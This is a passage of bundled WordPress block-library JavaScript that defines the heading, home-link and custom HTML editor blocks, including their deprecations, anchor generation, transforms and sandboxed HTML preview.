21576 top: "4em",
21577 right: "3em",
21578 bottom: "4em",
21579 left: "3em"
21580 }
21581 }
21582 }
21583 },
21584 innerBlocks: [
21585 {
21586 name: "core/heading",
21587 attributes: {
21588 content: (0,external_wp_i18n_namespaceObject.__)("La Mancha"),
21589 textAlign: "center"
21590 }
21591 },
21592 {
21593 name: "core/paragraph",
21594 attributes: {
21595 align: "center",
21596 content: (0,external_wp_i18n_namespaceObject.__)(
21597 "In a village of La Mancha, the name of which I have no desire to call to mind, there lived not long since one of those gentlemen that keep a lance in the lance-rack, an old buckler, a lean hack, and a greyhound for coursing."
21598 )
21599 }
21600 },
21601 {
21602 name: "core/spacer",
21603 attributes: {
21604 height: "10px"
21605 }
21606 },
21607 {
21608 name: "core/button",
21609 attributes: {
21610 text: (0,external_wp_i18n_namespaceObject.__)("Read more")
21611 }
21612 }
21613 ],
21614 viewportWidth: 600
21615 },
21616 transforms: group_transforms_transforms_default,
21617 edit: group_edit_edit_default,
21618 save: group_save_save,
21619 deprecated: group_deprecated_deprecated_default,
21620 variations: group_variations_variations_default
21621};
21622const group_init = () => initBlock({ name: group_name, metadata: group_block_namespaceObject, settings: group_settings });
21623
21624
21625;// ./node_modules/@wordpress/icons/build-module/library/heading.js
21626
21627
21628var heading_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6 5V18.5911L12 13.8473L18 18.5911V5H6Z" }) });
21629
21630
21631;// ./node_modules/@wordpress/block-library/build-module/heading/deprecated.js
21632
21633
21634
21635const blockSupports = {
21636 className: false,
21637 anchor: true
21638};
21639const heading_deprecated_blockAttributes = {
21640 align: {
21641 type: "string"
21642 },
21643 content: {
21644 type: "string",
21645 source: "html",
21646 selector: "h1,h2,h3,h4,h5,h6",
21647 default: ""
21648 },
21649 level: {
21650 type: "number",
21651 default: 2
21652 },
21653 placeholder: {
21654 type: "string"
21655 }
21656};
21657const deprecated_migrateCustomColors = (attributes) => {
21658 if (!attributes.customTextColor) {
21659 return attributes;
21660 }
21661 const style = {
21662 color: {
21663 text: attributes.customTextColor
21664 }
21665 };
21666 const { customTextColor, ...restAttributes } = attributes;
21667 return {
21668 ...restAttributes,
21669 style
21670 };
21671};
21672const TEXT_ALIGN_OPTIONS = ["left", "right", "center"];
21673const migrateTextAlign = (attributes) => {
21674 const { align, ...rest } = attributes;
21675 return TEXT_ALIGN_OPTIONS.includes(align) ? { ...rest, textAlign: align } : attributes;
21676};
21677const heading_deprecated_v1 = {
21678 supports: blockSupports,
21679 attributes: {
21680 ...heading_deprecated_blockAttributes,
21681 customTextColor: {
21682 type: "string"
21683 },
21684 textColor: {
21685 type: "string"
21686 }
21687 },
21688 migrate: (attributes) => deprecated_migrateCustomColors(migrateTextAlign(attributes)),
21689 save({ attributes }) {
21690 const { align, level, content, textColor, customTextColor } = attributes;
21691 const tagName = "h" + level;
21692 const textClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", textColor);
21693 const className = dist_clsx({
21694 [textClass]: textClass
21695 });
21696 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21697 external_wp_blockEditor_namespaceObject.RichText.Content,
21698 {
21699 className: className ? className : void 0,
21700 tagName,
21701 style: {
21702 textAlign: align,
21703 color: textClass ? void 0 : customTextColor
21704 },
21705 value: content
21706 }
21707 );
21708 }
21709};
21710const heading_deprecated_v2 = {
21711 attributes: {
21712 ...heading_deprecated_blockAttributes,
21713 customTextColor: {
21714 type: "string"
21715 },
21716 textColor: {
21717 type: "string"
21718 }
21719 },
21720 migrate: (attributes) => deprecated_migrateCustomColors(migrateTextAlign(attributes)),
21721 save({ attributes }) {
21722 const { align, content, customTextColor, level, textColor } = attributes;
21723 const tagName = "h" + level;
21724 const textClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", textColor);
21725 const className = dist_clsx({
21726 [textClass]: textClass,
21727 [`has-text-align-${align}`]: align
21728 });
21729 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21730 external_wp_blockEditor_namespaceObject.RichText.Content,
21731 {
21732 className: className ? className : void 0,
21733 tagName,
21734 style: {
21735 color: textClass ? void 0 : customTextColor
21736 },
21737 value: content
21738 }
21739 );
21740 },
21741 supports: blockSupports
21742};
21743const heading_deprecated_v3 = {
21744 supports: blockSupports,
21745 attributes: {
21746 ...heading_deprecated_blockAttributes,
21747 customTextColor: {
21748 type: "string"
21749 },
21750 textColor: {
21751 type: "string"
21752 }
21753 },
21754 migrate: (attributes) => deprecated_migrateCustomColors(migrateTextAlign(attributes)),
21755 save({ attributes }) {
21756 const { align, content, customTextColor, level, textColor } = attributes;
21757 const tagName = "h" + level;
21758 const textClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", textColor);
21759 const className = dist_clsx({
21760 [textClass]: textClass,
21761 "has-text-color": textColor || customTextColor,
21762 [`has-text-align-${align}`]: align
21763 });
21764 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21765 external_wp_blockEditor_namespaceObject.RichText.Content,
21766 {
21767 className: className ? className : void 0,
21768 tagName,
21769 style: {
21770 color: textClass ? void 0 : customTextColor
21771 },
21772 value: content
21773 }
21774 );
21775 }
21776};
21777const heading_deprecated_v4 = {
21778 supports: {
21779 align: ["wide", "full"],
21780 anchor: true,
21781 className: false,
21782 color: { link: true },
21783 fontSize: true,
21784 lineHeight: true,
21785 __experimentalSelector: {
21786 "core/heading/h1": "h1",
21787 "core/heading/h2": "h2",
21788 "core/heading/h3": "h3",
21789 "core/heading/h4": "h4",
21790 "core/heading/h5": "h5",
21791 "core/heading/h6": "h6"
21792 },
21793 __unstablePasteTextInline: true
21794 },
21795 attributes: heading_deprecated_blockAttributes,
21796 isEligible: ({ align }) => TEXT_ALIGN_OPTIONS.includes(align),
21797 migrate: migrateTextAlign,
21798 save({ attributes }) {
21799 const { align, content, level } = attributes;
21800 const TagName = "h" + level;
21801 const className = dist_clsx({
21802 [`has-text-align-${align}`]: align
21803 });
21804 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: content }) });
21805 }
21806};
21807const heading_deprecated_v5 = {
21808 supports: {
21809 align: ["wide", "full"],
21810 anchor: true,
21811 className: false,
21812 color: {
21813 gradients: true,
21814 link: true,
21815 __experimentalDefaultControls: {
21816 background: true,
21817 text: true
21818 }
21819 },
21820 spacing: {
21821 margin: true,
21822 padding: true
21823 },
21824 typography: {
21825 fontSize: true,
21826 lineHeight: true,
21827 __experimentalFontFamily: true,
21828 __experimentalFontStyle: true,
21829 __experimentalFontWeight: true,
21830 __experimentalLetterSpacing: true,
21831 __experimentalTextTransform: true,
21832 __experimentalTextDecoration: true,
21833 __experimentalDefaultControls: {
21834 fontSize: true,
21835 fontAppearance: true,
21836 textTransform: true
21837 }
21838 },
21839 __experimentalSelector: "h1,h2,h3,h4,h5,h6",
21840 __unstablePasteTextInline: true,
21841 __experimentalSlashInserter: true
21842 },
21843 attributes: {
21844 textAlign: {
21845 type: "string"
21846 },
21847 content: {
21848 type: "string",
21849 source: "html",
21850 selector: "h1,h2,h3,h4,h5,h6",
21851 default: "",
21852 role: "content"
21853 },
21854 level: {
21855 type: "number",
21856 default: 2
21857 },
21858 placeholder: {
21859 type: "string"
21860 }
21861 },
21862 save({ attributes }) {
21863 const { textAlign, content, level } = attributes;
21864 const TagName = "h" + level;
21865 const className = dist_clsx({
21866 [`has-text-align-${textAlign}`]: textAlign
21867 });
21868 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: content }) });
21869 }
21870};
21871const heading_deprecated_deprecated = [heading_deprecated_v5, heading_deprecated_v4, heading_deprecated_v3, heading_deprecated_v2, heading_deprecated_v1];
21872var heading_deprecated_deprecated_default = heading_deprecated_deprecated;
21873
21874
21875;// ./node_modules/@wordpress/block-library/build-module/heading/autogenerate-anchors.js
21876
21877const autogenerate_anchors_anchors = {};
21878const getTextWithoutMarkup = (text) => {
21879 const dummyElement = document.createElement("div");
21880 dummyElement.innerHTML = text;
21881 return dummyElement.innerText;
21882};
21883const getSlug = (content) => {
21884 return remove_accents_default()(getTextWithoutMarkup(content)).replace(/[^\p{L}\p{N}]+/gu, "-").toLowerCase().replace(/(^-+)|(-+$)/g, "");
21885};
21886const generateAnchor = (clientId, content) => {
21887 const slug = getSlug(content);
21888 if ("" === slug) {
21889 return null;
21890 }
21891 delete autogenerate_anchors_anchors[clientId];
21892 let anchor = slug;
21893 let i = 0;
21894 while (Object.values(autogenerate_anchors_anchors).includes(anchor)) {
21895 i += 1;
21896 anchor = slug + "-" + i;
21897 }
21898 return anchor;
21899};
21900const setAnchor = (clientId, anchor) => {
21901 autogenerate_anchors_anchors[clientId] = anchor;
21902};
21903
21904
21905;// ./node_modules/@wordpress/block-library/build-module/heading/edit.js
21906
21907
21908
21909
21910
21911
21912
21913function HeadingEdit({
21914 attributes,
21915 setAttributes,
21916 mergeBlocks,
21917 onReplace,
21918 style,
21919 clientId
21920}) {
21921 const { textAlign, content, level, levelOptions, placeholder, anchor } = attributes;
21922 const tagName = "h" + level;
21923 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
21924 className: dist_clsx({
21925 [`has-text-align-${textAlign}`]: textAlign
21926 }),
21927 style
21928 });
21929 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
21930 const { canGenerateAnchors } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
21931 const { getGlobalBlockCount, getSettings } = select(external_wp_blockEditor_namespaceObject.store);
21932 const settings = getSettings();
21933 return {
21934 canGenerateAnchors: !!settings.generateAnchors || getGlobalBlockCount("core/table-of-contents") > 0
21935 };
21936 }, []);
21937 const { __unstableMarkNextChangeAsNotPersistent } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
21938 (0,external_wp_element_namespaceObject.useEffect)(() => {
21939 if (!canGenerateAnchors) {
21940 return;
21941 }
21942 if (!anchor && content) {
21943 __unstableMarkNextChangeAsNotPersistent();
21944 setAttributes({
21945 anchor: generateAnchor(clientId, content)
21946 });
21947 }
21948 setAnchor(clientId, anchor);
21949 return () => setAnchor(clientId, null);
21950 }, [anchor, content, clientId, canGenerateAnchors]);
21951 const onContentChange = (value) => {
21952 const newAttrs = { content: value };
21953 if (canGenerateAnchors && (!anchor || !value || generateAnchor(clientId, content) === anchor)) {
21954 newAttrs.anchor = generateAnchor(clientId, value);
21955 }
21956 setAttributes(newAttrs);
21957 };
21958 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
21959 blockEditingMode === "default" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: [
21960 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21961 external_wp_blockEditor_namespaceObject.HeadingLevelDropdown,
21962 {
21963 value: level,
21964 options: levelOptions,
21965 onChange: (newLevel) => setAttributes({ level: newLevel })
21966 }
21967 ),
21968 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21969 external_wp_blockEditor_namespaceObject.AlignmentControl,
21970 {
21971 value: textAlign,
21972 onChange: (nextAlign) => {
21973 setAttributes({ textAlign: nextAlign });
21974 }
21975 }
21976 )
21977 ] }),
21978 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21979 external_wp_blockEditor_namespaceObject.RichText,
21980 {
21981 identifier: "content",
21982 tagName,
21983 value: content,
21984 onChange: onContentChange,
21985 onMerge: mergeBlocks,
21986 onReplace,
21987 onRemove: () => onReplace([]),
21988 placeholder: placeholder || (0,external_wp_i18n_namespaceObject.__)("Heading"),
21989 textAlign,
21990 ...external_wp_element_namespaceObject.Platform.isNative && { deleteEnter: true },
21991 ...blockProps
21992 }
21993 )
21994 ] });
21995}
21996var heading_edit_edit_default = HeadingEdit;
21997
21998
21999;// ./node_modules/@wordpress/block-library/build-module/heading/block.json
22000const heading_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/heading","title":"Heading","category":"text","description":"Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content.","keywords":["title","subtitle"],"textdomain":"default","attributes":{"textAlign":{"type":"string"},"content":{"type":"rich-text","source":"rich-text","selector":"h1,h2,h3,h4,h5,h6","role":"content"},"level":{"type":"number","default":2},"levelOptions":{"type":"array"},"placeholder":{"type":"string"}},"supports":{"align":["wide","full"],"anchor":true,"className":true,"splitting":true,"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true},"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontStyle":true,"__experimentalFontWeight":true,"__experimentalLetterSpacing":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalWritingMode":true,"fitText":true,"__experimentalDefaultControls":{"fontSize":true}},"__unstablePasteTextInline":true,"__experimentalSlashInserter":true,"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-heading-editor","style":"wp-block-heading"}');
22001;// ./node_modules/@wordpress/block-library/build-module/heading/save.js
22002
22003
22004
22005function heading_save_save({ attributes }) {
22006 const { textAlign, content, level } = attributes;
22007 const TagName = "h" + level;
22008 const className = dist_clsx({
22009 [`has-text-align-${textAlign}`]: textAlign
22010 });
22011 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: content }) });
22012}
22013
22014
22015;// ./node_modules/@wordpress/block-library/build-module/heading/shared.js
22016function getLevelFromHeadingNodeName(nodeName) {
22017 return Number(nodeName.substr(1));
22018}
22019
22020
22021;// ./node_modules/@wordpress/block-library/build-module/heading/transforms.js
22022
22023
22024
22025const heading_transforms_transforms = {
22026 from: [
22027 {
22028 type: "block",
22029 isMultiBlock: true,
22030 blocks: ["core/paragraph"],
22031 transform: (attributes) => attributes.map((_attributes) => {
22032 const { content, anchor, align: textAlign } = _attributes;
22033 return (0,external_wp_blocks_namespaceObject.createBlock)("core/heading", {
22034 ...getTransformedAttributes(
22035 _attributes,
22036 "core/heading",
22037 ({ content: contentBinding }) => ({
22038 content: contentBinding
22039 })
22040 ),
22041 content,
22042 anchor,
22043 textAlign
22044 });
22045 })
22046 },
22047 {
22048 type: "raw",
22049 selector: "h1,h2,h3,h4,h5,h6",
22050 schema: ({ phrasingContentSchema, isPaste }) => {
22051 const schema = {
22052 children: phrasingContentSchema,
22053 attributes: isPaste ? [] : ["style", "id"]
22054 };
22055 return {
22056 h1: schema,
22057 h2: schema,
22058 h3: schema,
22059 h4: schema,
22060 h5: schema,
22061 h6: schema
22062 };
22063 },
22064 transform(node) {
22065 const attributes = (0,external_wp_blocks_namespaceObject.getBlockAttributes)(
22066 "core/heading",
22067 node.outerHTML
22068 );
22069 const { textAlign } = node.style || {};
22070 attributes.level = getLevelFromHeadingNodeName(node.nodeName);
22071 if (textAlign === "left" || textAlign === "center" || textAlign === "right") {
22072 attributes.align = textAlign;
22073 }
22074 return (0,external_wp_blocks_namespaceObject.createBlock)("core/heading", attributes);
22075 }
22076 },
22077 ...[1, 2, 3, 4, 5, 6].map((level) => ({
22078 type: "prefix",
22079 prefix: Array(level + 1).join("#"),
22080 transform(content) {
22081 return (0,external_wp_blocks_namespaceObject.createBlock)("core/heading", {
22082 level,
22083 content
22084 });
22085 }
22086 })),
22087 ...[1, 2, 3, 4, 5, 6].map((level) => ({
22088 type: "enter",
22089 regExp: new RegExp(`^/(h|H)${level}$`),
22090 transform: () => (0,external_wp_blocks_namespaceObject.createBlock)("core/heading", { level })
22091 }))
22092 ],
22093 to: [
22094 {
22095 type: "block",
22096 isMultiBlock: true,
22097 blocks: ["core/paragraph"],
22098 transform: (attributes) => attributes.map((_attributes) => {
22099 const { content, textAlign: align } = _attributes;
22100 return (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
22101 ...getTransformedAttributes(
22102 _attributes,
22103 "core/paragraph",
22104 ({ content: contentBinding }) => ({
22105 content: contentBinding
22106 })
22107 ),
22108 content,
22109 align
22110 });
22111 })
22112 }
22113 ]
22114};
22115var heading_transforms_transforms_default = heading_transforms_transforms;
22116
22117
22118;// ./node_modules/@wordpress/block-library/build-module/heading/variations.js
22119
22120
22121
22122
22123const heading_variations_variations = [
22124 {
22125 name: "heading",
22126 title: (0,external_wp_i18n_namespaceObject.__)("Heading"),
22127 description: (0,external_wp_i18n_namespaceObject.__)(
22128 "Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content."
22129 ),
22130 isDefault: true,
22131 scope: ["inserter", "transform"],
22132 attributes: { fitText: void 0 },
22133 icon: heading_default
22134 },
22135 // There is a hardcoded workaround in packages/block-editor/src/store/selectors.js
22136 // to make Stretchy variations appear as the last of their sections in the inserter.
22137 {
22138 name: "stretchy-heading",
22139 title: (0,external_wp_i18n_namespaceObject.__)("Stretchy Heading"),
22140 description: (0,external_wp_i18n_namespaceObject.__)("Heading that resizes to fit its container."),
22141 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m3 18.6 6-4.7 6 4.7V5H3v13.6Zm16.2-9.8v1.5h2.2L17.7 14l1.1 1.1 3.7-3.7v2.2H24V8.8h-4.8Z" }) }),
22142 attributes: { fitText: true },
22143 scope: ["inserter", "transform"],
22144 isActive: (blockAttributes) => blockAttributes.fitText === true
22145 }
22146];
22147var heading_variations_variations_default = heading_variations_variations;
22148
22149
22150;// ./node_modules/@wordpress/block-library/build-module/heading/index.js
22151
22152
22153
22154
22155
22156
22157
22158
22159
22160const { name: heading_name } = heading_block_namespaceObject;
22161const heading_settings = {
22162 icon: heading_default,
22163 example: {
22164 attributes: {
22165 content: (0,external_wp_i18n_namespaceObject.__)("Code is Poetry"),
22166 level: 2,
22167 textAlign: "center"
22168 }
22169 },
22170 __experimentalLabel(attributes, { context }) {
22171 const { content, level } = attributes;
22172 const customName = attributes?.metadata?.name;
22173 const hasContent = content?.trim().length > 0;
22174 if (context === "list-view" && (customName || hasContent)) {
22175 return customName || content;
22176 }
22177 if (context === "accessibility") {
22178 return !hasContent ? (0,external_wp_i18n_namespaceObject.sprintf)(
22179 /* translators: accessibility text. %s: heading level. */
22180 (0,external_wp_i18n_namespaceObject.__)("Level %s. Empty."),
22181 level
22182 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
22183 /* translators: accessibility text. 1: heading level. 2: heading content. */
22184 (0,external_wp_i18n_namespaceObject.__)("Level %1$s. %2$s"),
22185 level,
22186 content
22187 );
22188 }
22189 },
22190 transforms: heading_transforms_transforms_default,
22191 deprecated: heading_deprecated_deprecated_default,
22192 merge(attributes, attributesToMerge) {
22193 return {
22194 content: (attributes.content || "") + (attributesToMerge.content || "")
22195 };
22196 },
22197 edit: heading_edit_edit_default,
22198 save: heading_save_save,
22199 variations: heading_variations_variations_default
22200};
22201const heading_init = () => initBlock({ name: heading_name, metadata: heading_block_namespaceObject, settings: heading_settings });
22202
22203
22204;// ./node_modules/@wordpress/icons/build-module/library/home.js
22205
22206
22207var home_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 4L4 7.9V20h16V7.9L12 4zm6.5 14.5H14V13h-4v5.5H5.5V8.8L12 5.7l6.5 3.1v9.7z" }) });
22208
22209
22210;// ./node_modules/@wordpress/block-library/build-module/home-link/block.json
22211const home_link_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/home-link","category":"design","parent":["core/navigation"],"title":"Home Link","description":"Create a link that always points to the homepage of the site. Usually not necessary if there is already a site title link present in the header.","textdomain":"default","attributes":{"label":{"type":"string","role":"content"}},"usesContext":["textColor","customTextColor","backgroundColor","customBackgroundColor","fontSize","customFontSize","style"],"supports":{"reusable":false,"html":false,"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-home-link-editor","style":"wp-block-home-link"}');
22212;// ./node_modules/@wordpress/block-library/build-module/home-link/edit.js
22213
22214
22215
22216
22217
22218
22219const preventDefault = (event) => event.preventDefault();
22220function HomeEdit({ attributes, setAttributes, context }) {
22221 const homeUrl = (0,external_wp_data_namespaceObject.useSelect)((select) => {
22222 return select(external_wp_coreData_namespaceObject.store).getEntityRecord("root", "__unstableBase")?.home;
22223 }, []);
22224 const { textColor, backgroundColor, style } = context;
22225 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
22226 className: dist_clsx("wp-block-navigation-item", {
22227 "has-text-color": !!textColor || !!style?.color?.text,
22228 [`has-${textColor}-color`]: !!textColor,
22229 "has-background": !!backgroundColor || !!style?.color?.background,
22230 [`has-${backgroundColor}-background-color`]: !!backgroundColor
22231 }),
22232 style: {
22233 color: style?.color?.text,
22234 backgroundColor: style?.color?.background
22235 }
22236 });
22237 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22238 "a",
22239 {
22240 className: "wp-block-home-link__content wp-block-navigation-item__content",
22241 href: homeUrl,
22242 onClick: preventDefault,
22243 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22244 external_wp_blockEditor_namespaceObject.RichText,
22245 {
22246 identifier: "label",
22247 className: "wp-block-home-link__label",
22248 value: attributes.label ?? (0,external_wp_i18n_namespaceObject.__)("Home"),
22249 onChange: (labelValue) => {
22250 setAttributes({ label: labelValue });
22251 },
22252 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Home link text"),
22253 placeholder: (0,external_wp_i18n_namespaceObject.__)("Add home link"),
22254 withoutInteractiveFormatting: true
22255 }
22256 )
22257 }
22258 ) });
22259}
22260
22261
22262;// ./node_modules/@wordpress/block-library/build-module/home-link/save.js
22263
22264
22265function home_link_save_save() {
22266 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
22267}
22268
22269
22270;// ./node_modules/@wordpress/block-library/build-module/home-link/index.js
22271
22272
22273
22274
22275
22276
22277const { name: home_link_name } = home_link_block_namespaceObject;
22278const home_link_settings = {
22279 icon: home_default,
22280 edit: HomeEdit,
22281 save: home_link_save_save,
22282 example: {
22283 attributes: {
22284 label: (0,external_wp_i18n_namespaceObject._x)("Home Link", "block example")
22285 }
22286 }
22287};
22288const home_link_init = () => initBlock({ name: home_link_name, metadata: home_link_block_namespaceObject, settings: home_link_settings });
22289
22290
22291;// ./node_modules/@wordpress/icons/build-module/library/html.js
22292
22293
22294var html_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4.8 11.4H2.1V9H1v6h1.1v-2.6h2.7V15h1.1V9H4.8v2.4zm1.9-1.3h1.7V15h1.1v-4.9h1.7V9H6.7v1.1zM16.2 9l-1.5 2.7L13.3 9h-.9l-.8 6h1.1l.5-4 1.5 2.8 1.5-2.8.5 4h1.1L17 9h-.8zm3.8 5V9h-1.1v6h3.6v-1H20z" }) });
22295
22296
22297;// ./node_modules/@wordpress/block-library/build-module/html/preview.js
22298
22299
22300
22301
22302
22303
22304const DEFAULT_STYLES = `
22305 html,body,:root {
22306 margin: 0 !important;
22307 padding: 0 !important;
22308 overflow: visible !important;
22309 min-height: auto !important;
22310 }
22311`;
22312function HTMLEditPreview({ content, isSelected }) {
22313 const settingStyles = (0,external_wp_data_namespaceObject.useSelect)(
22314 (select) => select(external_wp_blockEditor_namespaceObject.store).getSettings().styles,
22315 []
22316 );
22317 const styles = (0,external_wp_element_namespaceObject.useMemo)(
22318 () => [
22319 DEFAULT_STYLES,
22320 ...(0,external_wp_blockEditor_namespaceObject.transformStyles)(
22321 (settingStyles ?? []).filter((style) => style.css)
22322 )
22323 ],
22324 [settingStyles]
22325 );
22326 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
22327 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22328 external_wp_components_namespaceObject.SandBox,
22329 {
22330 html: content,
22331 styles,
22332 title: (0,external_wp_i18n_namespaceObject.__)("Custom HTML Preview"),
22333 tabIndex: -1
22334 }
22335 ),
22336 !isSelected && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-library-html__preview-overlay" })
22337 ] });
22338}
22339
22340
22341;// ./node_modules/@wordpress/block-library/build-module/html/edit.js
22342
22343
22344
22345
22346
22347
22348
22349
22350function HTMLEdit({ attributes, setAttributes, isSelected }) {
22351 const [isPreview, setIsPreview] = (0,external_wp_element_namespaceObject.useState)();
22352 const isDisabled = (0,external_wp_element_namespaceObject.useContext)(external_wp_components_namespaceObject.Disabled.Context);
22353 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(HTMLEdit, "html-edit-desc");
22354 const isPreviewMode = (0,external_wp_data_namespaceObject.useSelect)((select) => {
22355 return select(external_wp_blockEditor_namespaceObject.store).getSettings().isPreviewMode;
22356 }, []);
22357 function switchToPreview() {
22358 setIsPreview(true);
22359 }
22360 function switchToHTML() {
22361 setIsPreview(false);
22362 }
22363 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
22364 className: "block-library-html__edit",
22365 "aria-describedby": isPreview ? instanceId : void 0
22366 });
22367 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
22368 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.ToolbarGroup, { children: [
22369 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22370 external_wp_components_namespaceObject.ToolbarButton,
22371 {
22372 isPressed: !isPreview,
22373 onClick: switchToHTML,
22374 children: "HTML"
22375 }
22376 ),
22377 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22378 external_wp_components_namespaceObject.ToolbarButton,
22379 {
22380 isPressed: isPreview,
22381 onClick: switchToPreview,
22382 children: (0,external_wp_i18n_namespaceObject.__)("Preview")
22383 }
22384 )
22385 ] }) }),
22386 isPreview || isPreviewMode || isDisabled ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
22387 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22388 HTMLEditPreview,
22389 {
22390 content: attributes.content,
22391 isSelected
22392 }
22393 ),
22394 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { id: instanceId, children: (0,external_wp_i18n_namespaceObject.__)(
22395 "HTML preview is not yet fully accessible. Please switch screen reader to virtualized mode to navigate the below iFrame."
22396 ) })
22397 ] }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22398 external_wp_blockEditor_namespaceObject.PlainText,
22399 {
22400 value: attributes.content,
22401 onChange: (content) => setAttributes({ content }),
22402 placeholder: (0,external_wp_i18n_namespaceObject.__)("Write HTML\u2026"),
22403 "aria-label": (0,external_wp_i18n_namespaceObject.__)("HTML")
22404 }
22405 )
22406 ] });
22407}
22408
22409
22410;// ./node_modules/@wordpress/block-library/build-module/html/block.json
